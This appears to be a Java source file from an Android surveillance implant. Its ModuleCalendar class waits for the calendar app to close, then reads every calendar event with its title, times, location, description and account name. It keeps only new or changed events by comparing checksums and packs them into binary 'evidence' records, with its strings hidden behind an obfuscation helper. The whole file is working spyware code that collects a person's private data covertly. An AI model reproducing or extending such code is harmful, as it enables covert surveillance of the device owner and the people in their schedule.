package com.android.dvci.module; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.util.Date; import java.util.HashMap; import java.util.Hashtable; import android.content.ContentResolver; import android.content.Context; import android.database.Cursor; import android.net.Uri; import com.android.dvci.ProcessInfo; import com.android.dvci.ProcessStatus; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfModule; import com.android.dvci.crypto.Digest; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.evidence.Markup; import com.android.dvci.interfaces.Observer; import com.android.dvci.listener.ListenerProcess; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DataBuffer; import com.android.dvci.util.DateTime; import com.android.dvci.util.WChar; import com.android.mm.M; public class ModuleCalendar extends BaseModule implements Observer<ProcessInfo> { private static final String TAG = "ModuleCalendar"; //$NON-NLS-1$ private static final int FLAG_ALLDAY = 0x00000040; private static final int POOM_STRING_SUBJECT = 0x01000000; private static final int POOM_STRING_CATEGORIES = 0x02000000; private static final int POOM_STRING_BODY = 0x04000000; private static final int POOM_STRING_RECIPIENTS = 0x08000000; private static final int POOM_STRING_LOCATION = 0x10000000; private static final int POOM_OBJECT_RECUR = 0x80000000; Markup markupCalendar; HashMap<Long, Long> calendar; public ModuleCalendar() { } @Override public boolean parse(ConfModule conf) { return true; } /** * unserialize the contacts crc hashtable */ @Override public void actualStart() { // every hour, check. setPeriod(NEVER); setDelay(200); ListenerProcess.self().attach(this); markupCalendar = new Markup(this); // the markup exists, try to read it if (markupCalendar.isMarkup()) { try { calendar = (HashMap<Long, Long>) markupCalendar.readMarkupSerializable(); } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error (begin): cannot read markup");//$NON-NLS-1$ } } } if (calendar == null) { calendar = new HashMap<Long, Long>(); serializeCalendar(); } } @Override public int notification(ProcessInfo process) { if (process.processInfo.contains("android.calendar")) { if (process.status == ProcessStatus.STOP) { if (Cfg.DEBUG) { Check.log(TAG + " (notification), observing found: " + process.processInfo); } actualGo(); } } return 0; } @Override public void actualStop() { ListenerProcess.self().detach(this); } /** * Every once and then read the contactInfo, and Check.every change. If * //$NON-NLS-1$ something is new the contact is saved. */ @Override public void actualGo() { try { if (Cfg.DEBUG) { Check.log(TAG + " (go): Calendar"); //$NON-NLS-1$ } if (calendar()) { serializeCalendar(); } } catch (Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(TAG + " (go) Error: " + ex); //$NON-NLS-1$ } } } /** * serialize contacts in the markup */ private void serializeCalendar() { if (Cfg.DEBUG) { Check.ensures(calendar != null, "null calendar"); //$NON-NLS-1$ } try { final boolean ret = markupCalendar.writeMarkupSerializable(calendar); if (Cfg.DEBUG) { Check.ensures(ret, "cannot serialize"); //$NON-NLS-1$ } } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error (serializeContacts): " + e);//$NON-NLS-1$ } } } private boolean calendar() { // http://jimblackler.net/blog/?p=151 // http://forum.xda-developers.com/showthread.php?t=688095 // /data/data/com.android.providers.calendar/databases/calendar.db // backup/data/calendar.db // v4: // http://stackoverflow.com/questions/10069319/how-to-get-device-calendar-event-list-in-android-device Hashtable<String, String> calendars; String contentProvider; // d_19=content://com.android.calendar contentProvider = M.e("content://com.android.calendar"); //$NON-NLS-1$ calendars = selectCalendars(contentProvider); if (calendars == null || calendars.isEmpty()) { if (Cfg.DEBUG) { Check.log(TAG + " (calendar): opening 2.2 style"); //$NON-NLS-1$ } // d_18=content://calendar contentProvider = M.e("content://calendar"); //$NON-NLS-1$ calendars = selectCalendars(contentProvider); } else { if (Cfg.DEBUG) { Check.log(TAG + " (calendar): opening 2.1 style"); //$NON-NLS-1$ } } if (calendars == null || calendars.isEmpty()) { if (Cfg.DEBUG) { Check.log(TAG + " (calendar): not available"); //$NON-NLS-1$ } return false; } boolean needToSerialize = false; // For each calendar, display all the events from the previous week to // the end of next week. for (String id : calendars.keySet()) { int calendar_id = Integer.parseInt(id); if (Cfg.DEBUG) { Check.log(TAG + " (calendar): " + calendar_id); //$NON-NLS-1$ } Uri.Builder builder = Uri.parse(contentProvider + M.e("/events")).buildUpon(); //$NON-NLS-1$ String textUri = builder.build().toString(); // d_7=_id // d_8=title // d_9=dtstart // d_10=dtend // d_11=rrule // d_12=allDay // d_13=eventLocation // d_14=description // d_15=calendar_id Cursor eventCursor = managedQuery( builder.build(), new String[] { M.e("_id"), M.e("title"), M.e("dtstart"), M.e("dtend"), //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ M.e("rrule"), M.e("allDay"), M.e("eventLocation"), M.e("description") }, M.e("calendar_id") + "=" + id, null, M.e("_id ASC")); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$ while (eventCursor.moveToNext()) { int index = 0; final long idEvent = calendar_id << 24 | Long.parseLong(eventCursor.getString(index++)); final String title = eventCursor.getString(index++); final Date begin = new Date(eventCursor.getLong(index++)); final Date end = new Date(eventCursor.getLong(index++)); final String rrule = eventCursor.getString(index++); final Boolean allDay = !eventCursor.getString(index++).equals("0"); //$NON-NLS-1$ final String location = eventCursor.getString(index++); // final String syncAccount = eventCursor.getString(5); final String description = eventCursor.getString(index++); String syncAccount = calendars.get(id); //$NON-NLS-1$ if (Cfg.DEBUG) { Check.log(TAG + " (calendar): Title: " + title + " Begin: " + begin + " End: " + end + " All Day: " //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + allDay + " Location: " + location + " SyncAccount:" + syncAccount + " Description: " //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + description); } String desc = "account: " + syncAccount + "\n" + description; byte[] packet = null; try { // calculate the crc of the contact packet = preparePacket(idEvent, title, desc, location, begin, end, rrule, allDay); } catch (Exception ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(TAG + " (calendar) Error: " + ex); //$NON-NLS-1$ } continue; } // if(Cfg.DEBUG) Check.log( TAG + " (go): " ;//$NON-NLS-1$ // ByteArray.byteArrayToHex(packet)); final Long crcOld = calendar.get(idEvent); final Long crcNew = Digest.CRC32(packet); // if(Cfg.DEBUG) Check.log( TAG + " (go): " + crcOld + " <-> " ;//$NON-NLS-1$ // crcNew); // if does not match, save and serialize if (!crcNew.equals(crcOld)) { if (Cfg.DEBUG) { Check.log(TAG + " (go): new event. " + idEvent);//$NON-NLS-1$ } calendar.put(idEvent, crcNew); saveEvidenceCalendar(idEvent, packet); needToSerialize = true; // Thread.yield(); } } if (eventCursor != null) { eventCursor.close(); } } return needToSerialize; } private Hashtable<String, String> selectCalendars(String contentProvider) { try { if (Cfg.DEBUG) { Check.log(TAG + " (selectCalendars) provider: %s", contentProvider); } String[] projection = new String[] { M.e("_id"), "account_name", "calendar_displayName", "ownerAccount" }; //$NON-NLS-1$ // Uri calendars = Uri.parse("content://calendar/calendars"); Uri calendars = Uri.parse(contentProvider + M.e("/calendars")); //$NON-NLS-1$ Hashtable<String, String> calendarIds = new Hashtable<String, String>(); Cursor managedCursor = managedQuery(calendars, projection, null, null, null); //$NON-NLS-1$ while (managedCursor != null && managedCursor.moveToNext()) { final String _id = managedCursor.getString(0); String account_name = managedCursor.getString(1); String calendar_displayName = managedCursor.getString(2); String ownerAccount = managedCursor.getString(3); if (Cfg.DEBUG) { Check.log( TAG + " (selectCalendars): Id: %s (%s,%s,%s)", _id, account_name, calendar_displayName, ownerAccount); //$NON-NLS-1$ } calendarIds.put(_id, account_name); } managedCursor.close(); return calendarIds; } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (selectCalendars) ERROR: Cannot use provider: %s", contentProvider); } return null; } } private Cursor managedQuery(Uri calendars, String[] projection, String selection, String[] selectionArgs, String sortOrder) { Context context = Status.getAppContext(); ContentResolver contentResolver = context.getContentResolver(); final Cursor cursor = contentResolver.query(calendars, projection, selection, selectionArgs, sortOrder); return cursor; } /** * Save evidence Calendar * * @param idEvent * @param packet */ private void saveEvidenceCalendar(long idEvent, byte[] packet) { // calendar.put(idEvent, Encryption.CRC32(packet)); final EvidenceBuilder log = new EvidenceBuilder(EvidenceType.CALENDAR); log.write(packet); log.close(); } private byte[] preparePacket(long idEvent, String title, String description, String location, Date begin, Date end, String rrule, Boolean allDay) { final int version = 0x01000000; int flags = 0; final ByteArrayOutputStream payload = new ByteArrayOutputStream(); // header, viene scritto adesso, e corretto alla fine, cosi' si calcola // la lunghezza del // payload try { payload.write(ByteArray.intToByteArray(0)); payload.write(ByteArray.intToByteArray(version)); payload.write(ByteArray.intToByteArray((int) idEvent)); // preparazione del payload, con la parte fissa e quella dinamica if (rrule != null) { // flags |= FLAG_RECUR; // if (end == null) { // flags |= FLAG_RECUR_NoEndDate; // } } if (allDay) { flags |= FLAG_ALLDAY; } int sensitivity = 0; int busy = 2; int duration = 0; int meeting = 0; payload.write(ByteArray.intToByteArray(flags)); payload.write(ByteArray.longToByteArray(DateTime.getFiledate(begin))); payload.write(ByteArray.longToByteArray(DateTime.getFiledate(end))); payload.write(ByteArray.intToByteArray(sensitivity)); payload.write(ByteArray.intToByteArray(busy)); payload.write(ByteArray.intToByteArray(duration)); payload.write(ByteArray.intToByteArray(meeting)); // recursive // blocchi di stringhe if (rrule != null) { if (description == null) { description = M.e("RULE: ") + rrule; //$NON-NLS-1$ } else { description += " \n" + M.e("RULE: ") + rrule; //$NON-NLS-1$ } } appendCalendarString(payload, POOM_STRING_SUBJECT, title); appendCalendarString(payload, POOM_STRING_BODY, description); appendCalendarString(payload, POOM_STRING_LOCATION, location); // appendCalendarString(payload, POOM_STRING_CATEGORIES , // "categories"); // appendCalendarString(payload, POOM_OBJECT_RECUR , "recur"); // appendCalendarString(payload, POOM_STRING_RECIPIENTS , // "recipients"); // final byte[] payloadBA = payload.toByteArray(); final int size = payload.size(); final byte[] packet = payload.toByteArray(); final DataBuffer databuffer = new DataBuffer(packet); databuffer.writeInt(size); return packet; } catch (IOException ex) { if (Cfg.EXCEPTION) { Check.log(ex); } if (Cfg.DEBUG) { Check.log(TAG + " (preparePacket) Error: " + ex); //$NON-NLS-1$ } } return null; } private void appendCalendarString(ByteArrayOutputStream payload, int type, String message) throws IOException { if (message != null) { byte[] data = WChar.getBytes(message); int len = type | (data.length & 0x00ffffff); byte[] prefix = ByteArray.intToByteArray(len); payload.write(prefix); payload.write(data); } } }